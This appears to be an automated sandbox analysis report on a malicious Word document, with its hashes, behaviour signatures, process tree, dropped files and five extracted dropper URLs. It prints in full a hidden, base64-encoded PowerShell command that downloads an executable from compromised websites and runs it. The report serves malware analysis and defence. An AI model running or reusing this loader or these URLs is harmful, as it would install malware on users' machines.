Analysis

  • max time kernel
    142s
  • max time network
    158s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16-11-2024 12:42

General

  • Target

    2020-01-13_154531.doc

  • Size

    231KB

  • MD5

    590062113ac8eeffaa2febf5619433cf

  • SHA1

    82413ff4d0ca5290192e34363434dcdb0cfff326

  • SHA256

    e13b8d1f31e60dd801a8b6fd61c140367bf04cc736e7ac44f982e1d34654fd91

  • SHA512

    5fcb9bcb041f1650ae1bcd0e4c6fe29161529ef493cd4b421bd60b1604aeb14fae05b0e73354c90fbccd339fafce23a762e61be283e355900d7f17bdfc93e8ad

  • SSDEEP

    6144:50Rum7mdLRp1bbSBIR/EHGtCMXgTo8qoFt/etg+FpXo:50E3dxtR/iU9mvUP/Xo

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://www.entreprendre-en-alsace.com/cust_service/Hp/

exe.dropper

https://www.ambiance-piscines.fr/wp-admin/tQQvQCL/

exe.dropper

https://www.akarosi.com/0868e784ba5af656b959f6ec5e4e9428/a1a/

exe.dropper

https://thecurrenthotel.com/wp-content/zel617r/

exe.dropper

https://wholesaleusedbooks.co.uk/jetpack-temp/Xl1SeJPW/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2020-01-13_154531.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:4884
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -w hidden -en JABHAHUAawB6AG4AaABkAGMAPQAnAE8AZQBmAGwAcABjAGUAZgAnADsAJABWAHAAegBpAHkAZwBlAGcAdwB0AGEAZQBhACAAPQAgACcAMgA2ADUAJwA7ACQAUQBxAGEAcABtAHoAawB5AGMAcgBiAGsAPQAnAFMAagBkAHoAcQBzAG0AYQAnADsAJABWAGIAYQBhAGgAbQB1AGQAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFYAcAB6AGkAeQBnAGUAZwB3AHQAYQBlAGEAKwAnAC4AZQB4AGUAJwA7ACQAQwB5AHYAaABxAHcAegB0AGgAagA9ACcASwBrAGEAaQBzAGQAeABqAG0AJwA7ACQAUwBrAHcAdABqAHcAZQBvAGsAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4AZQBUAC4AdwBFAEIAQwBMAGkARQBuAHQAOwAkAFYAcABlAGcAcwBjAHgAaAA9ACcAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AZQBuAHQAcgBlAHAAcgBlAG4AZAByAGUALQBlAG4ALQBhAGwAcwBhAGMAZQAuAGMAbwBtAC8AYwB1AHMAdABfAHMAZQByAHYAaQBjAGUALwBIAHAALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGEAbQBiAGkAYQBuAGMAZQAtAHAAaQBzAGMAaQBuAGUAcwAuAGYAcgAvAHcAcAAtAGEAZABtAGkAbgAvAHQAUQBRAHYAUQBDAEwALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGEAawBhAHIAbwBzAGkALgBjAG8AbQAvADAAOAA2ADgAZQA3ADgANABiAGEANQBhAGYANgA1ADYAYgA5ADUAOQBmADYAZQBjADUAZQA0AGUAOQA0ADIAOAAvAGEAMQBhAC8AKgBoAHQAdABwAHMAOgAvAC8AdABoAGUAYwB1AHIAcgBlAG4AdABoAG8AdABlAGwALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB6AGUAbAA2ADEANwByAC8AKgBoAHQAdABwAHMAOgAvAC8AdwBoAG8AbABlAHMAYQBsAGUAdQBzAGUAZABiAG8AbwBrAHMALgBjAG8ALgB1AGsALwBqAGUAdABwAGEAYwBrAC0AdABlAG0AcAAvAFgAbAAxAFMAZQBKAFAAVwAvACcALgAiAHMAcABgAGwAaQBUACIAKAAnACoAJwApADsAJABLAHgAdABhAGYAcQBwAGYAcQA9ACcATgBvAGQAZABpAGYAcwBpAGQAcABsACcAOwBmAG8AcgBlAGEAYwBoACgAJABEAGkAcQB5AHkAdwBxAGcAZwAgAGkAbgAgACQAVgBwAGUAZwBzAGMAeABoACkAewB0AHIAeQB7ACQAUwBrAHcAdABqAHcAZQBvAGsALgAiAGQAYABvAHcAbgBsAG8AQQBgAEQARgBJAGAAbABFACIAKAAkAEQAaQBxAHkAeQB3AHEAZwBnACwAIAAkAFYAYgBhAGEAaABtAHUAZAApADsAJABUAHkAaQB6AGoAYwB5AHgAaQByAGwAagB4AD0AJwBDAHMAZAB5AHYAdQB3AG0AZQBwAHYAcgAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAFYAYgBhAGEAaABtAHUAZAApAC4AIgBMAEUATgBgAEcAVABIACIAIAAtAGcAZQAgADMAMwAyADQAMgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAFQAYABBAFIAVAAiACgAJABWAGIAYQBhAGgAbQB1AGQAKQA7ACQAUgB5AGoAdABnAGgAaQBwAHcAbwBrAD0AJwBYAHMAdABsAGoAeQBmAGsAbQAnADsAYgByAGUAYQBrADsAJABFAHcAbQBlAGoAbgBrAGgAcwBzAHoAbgA9ACcATwBsAHUAYwBnAGoAbABiACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEwAdgBrAGgAcwB6AGcAZQBrAHIAcAA9ACcARQBmAGkAZQBjAGEAbAB4AGUAdQBoAHYAJwA=
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4196

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\265.exe

    Filesize

    132KB

    MD5

    e79f1a6e6fec65225edd7806ccf5ffde

    SHA1

    fc4f6b938e06a7ea6b6d99c3ac8b38dc76dbaa4d

    SHA256

    ca5d01525fa739cf19219be26e73ac0af6ebd1955eef216768a6f81351f74a7d

    SHA512

    29a475fc1bcc872bd636a14fa473cbefcb00702f09b1adc3b22641931199030b3dfecc2424e9008aaf79365bfa2e9eb0090012ad30cd7c7f9cd9e25eb236f650

  • C:\Users\Admin\AppData\Local\Temp\TCD4328.tmp\sist02.xsl

    Filesize

    245KB

    MD5

    f883b260a8d67082ea895c14bf56dd56

    SHA1

    7954565c1f243d46ad3b1e2f1baf3281451fc14b

    SHA256

    ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

    SHA512

    d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_e20iwll1.tqe.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

    Filesize

    2B

    MD5

    f3b25701fe362ec84616a93a45ce9998

    SHA1

    d62636d8caec13f04e28442a0a6fa1afeb024bbb

    SHA256

    b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

    SHA512

    98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

    Filesize

    2KB

    MD5

    36e139b8d0070f22c0ab8d74c3ab6916

    SHA1

    0861a580c5e7492bbf82b64aa02f3130c5557471

    SHA256

    f56224794006a9e0881206ea9f2a00d41366155279dbb40d7405b54fdb692544

    SHA512

    d1f2c8795fb035b762e66d16dc2a7148d58042a70bc314df0d8dbbeaa6ca5bbcbd9dadf0a2b59168aec27570f5345b7319fb8f51e6c0e5bb5001f05f9bb02ca2

  • memory/4196-46-0x00007FFE77CD0000-0x00007FFE77EC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4196-100-0x00007FFE77CD0000-0x00007FFE77EC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4196-56-0x000001A7C6840000-0x000001A7C6862000-memory.dmp

    Filesize

    136KB

  • memory/4884-20-0x00007FFE77CD0000-0x00007FFE77EC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4884-45-0x00007FFE77CD0000-0x00007FFE77EC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4884-11-0x00007FFE77CD0000-0x00007FFE77EC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4884-13-0x00007FFE35620000-0x00007FFE35630000-memory.dmp

    Filesize

    64KB

  • memory/4884-15-0x00007FFE77CD0000-0x00007FFE77EC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4884-16-0x00007FFE77CD0000-0x00007FFE77EC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4884-14-0x00007FFE77CD0000-0x00007FFE77EC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4884-12-0x00007FFE77CD0000-0x00007FFE77EC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4884-10-0x00007FFE77CD0000-0x00007FFE77EC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4884-17-0x00007FFE35620000-0x00007FFE35630000-memory.dmp

    Filesize

    64KB

  • memory/4884-19-0x00007FFE77CD0000-0x00007FFE77EC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4884-21-0x00007FFE77CD0000-0x00007FFE77EC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4884-1-0x00007FFE77D6D000-0x00007FFE77D6E000-memory.dmp

    Filesize

    4KB

  • memory/4884-18-0x00007FFE77CD0000-0x00007FFE77EC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4884-28-0x00007FFE77CD0000-0x00007FFE77EC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4884-29-0x00007FFE77CD0000-0x00007FFE77EC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4884-43-0x00007FFE77CD0000-0x00007FFE77EC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4884-7-0x00007FFE77CD0000-0x00007FFE77EC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4884-9-0x00007FFE77CD0000-0x00007FFE77EC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4884-8-0x00007FFE77CD0000-0x00007FFE77EC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4884-6-0x00007FFE77CD0000-0x00007FFE77EC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4884-63-0x00007FFE77D6D000-0x00007FFE77D6E000-memory.dmp

    Filesize

    4KB

  • memory/4884-64-0x00007FFE77CD0000-0x00007FFE77EC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4884-0-0x00007FFE37D50000-0x00007FFE37D60000-memory.dmp

    Filesize

    64KB

  • memory/4884-71-0x00007FFE77CD0000-0x00007FFE77EC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4884-5-0x00007FFE37D50000-0x00007FFE37D60000-memory.dmp

    Filesize

    64KB

  • memory/4884-2-0x00007FFE37D50000-0x00007FFE37D60000-memory.dmp

    Filesize

    64KB

  • memory/4884-104-0x00007FFE77CD0000-0x00007FFE77EC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4884-105-0x00007FFE77CD0000-0x00007FFE77EC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4884-106-0x00007FFE77CD0000-0x00007FFE77EC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4884-3-0x00007FFE37D50000-0x00007FFE37D60000-memory.dmp

    Filesize

    64KB

  • memory/4884-112-0x00007FFE77CD0000-0x00007FFE77EC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4884-4-0x00007FFE37D50000-0x00007FFE37D60000-memory.dmp

    Filesize

    64KB